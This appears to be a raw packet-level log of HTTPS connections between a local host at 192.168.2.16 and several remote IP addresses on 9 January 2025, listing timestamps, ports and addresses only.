Jan 9, 2025 13:19:27.182543039 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.182550907 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182832003 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.182976007 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182998896 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183043957 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183049917 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183078051 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183144093 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183363914 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183389902 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183448076 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183454037 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183495045 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183748960 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183767080 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183811903 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.183819056 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.183856010 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.184048891 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184066057 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184118032 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.184128046 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184248924 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.184555054 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184578896 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184626102 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.184633017 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.184674025 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.186691046 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.186736107 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.186825991 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.190511942 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.190526009 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.201920986 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.208733082 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.209244967 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.209254026 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.209620953 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.209970951 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.210042000 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.210181952 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.211051941 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.211061954 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.211142063 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.211168051 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.211196899 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.217509985 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.217529058 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.217605114 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.217628002 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.218293905 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.218326092 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.218408108 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.237710953 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.237778902 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.237835884 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.237843990 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.238432884 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.238488913 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.238576889 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.238586903 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.238607883 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.238647938 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.238856077 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.238925934 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.238944054 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.242218018 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.242259979 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.242342949 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.242980957 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.243002892 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.243072033 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.243479013 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.243489027 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.243829012 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.243838072 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.251322985 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.251606941 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.251622915 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.251701117 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.251708984 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.251780033 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.254014015 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.254271984 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.254277945 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.254570007 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.254865885 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.254916906 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.254992962 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.267102003 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.267391920 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.267422915 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.267735958 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.267997980 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.268054962 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.268078089 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.268313885 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.268482924 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.268500090 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.268965006 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.269222021 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.269292116 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.269295931 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.269306898 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.272712946 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.272742987 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.272793055 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.272799015 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.272835016 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.272927999 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.273255110 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273272991 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273334980 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.273341894 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273391008 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.273629904 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273648024 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273699045 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.273706913 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.273750067 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274142027 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274163961 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274221897 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274229050 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274276018 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274497986 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274522066 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274569988 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274576902 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274621010 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274895906 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274914026 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274960995 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.274967909 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.274996042 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.275007963 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.275300980 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.275326967 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.275393009 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.275398970 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.275443077 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.279408932 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.295348883 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.310412884 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.310424089 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.310487986 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.331880093 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.331912041 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.331933975 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.332036018 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.332050085 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.332123041 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.332503080 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.332570076 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.332576036 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.332593918 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.332624912 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.332654953 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.333062887 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.333075047 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.333538055 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.333558083 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.333635092 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.334042072 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.334053993 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.342227936 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.342252016 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.342350960 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.342359066 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.342391968 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.342432022 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.343025923 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.343031883 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.343908072 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.343981028 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.344409943 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.344459057 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.344597101 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.344600916 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.357075930 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.357090950 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.357110977 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.357197046 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.359719038 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.359750986 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.359774113 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.359857082 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.359864950 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.359955072 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.361541986 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.361558914 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.361651897 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.361655951 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.362391949 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.362457991 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.362462044 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.362498999 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.362543106 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.362673998 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.362685919 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363095999 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363116026 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363193989 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363318920 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363337040 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363389015 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363395929 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363440037 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363584995 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363594055 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363888025 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363908052 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363957882 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.363964081 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.363996983 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.364021063 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.364382029 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364403963 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364465952 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.364471912 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364521027 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.364706993 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364748001 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364788055 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.364788055 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.364836931 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.365634918 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.365642071 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.365978956 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.365994930 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.366059065 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.366657019 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.366669893 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.384099960 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.384110928 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.384133101 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.384293079 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.384293079 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.390381098 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.417963028 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.417970896 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.418095112 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.418106079 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.434355021 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.434622049 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.434633017 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.435664892 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.435741901 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.436078072 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.436141014 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.436265945 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.436273098 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.443262100 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.443270922 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.443358898 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.443367958 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.479290962 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.479299068 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.479351044 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.479397058 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.479422092 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.479439974 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.486401081 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.511224985 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.511234999 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.511260986 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.511310101 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.511333942 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.511373043 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.532922983 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.532932997 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.532983065 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.533015966 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.533044100 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.533061028 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.541263103 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.541547060 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.541560888 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.542431116 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.542496920 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.542772055 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.542814016 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.542943954 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.542948961 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.551924944 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.551934004 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.551958084 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.552082062 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.552082062 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.552109957 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.561824083 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.561839104 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.561969042 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.561975002 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.562436104 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.562488079 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.562861919 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.562869072 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.562896013 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.562916994 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.571351051 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.571358919 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.571384907 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.571506977 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.571506977 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.571532965 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.592006922 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.592016935 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.592042923 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.592068911 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.592077971 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.592114925 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.596410990 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.605451107 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.605462074 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.605479002 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.605523109 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.605536938 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.605556965 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.615087986 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.615098000 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.615117073 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.615156889 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.615164995 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.615323067 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.627887011 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.627896070 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.627953053 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.627968073 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.637351990 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.637361050 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.637423038 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.637434006 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.646887064 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.646894932 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.646949053 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.646959066 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.661053896 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.661062002 CET	443	49825	87.250.251.119	192.168.2.16
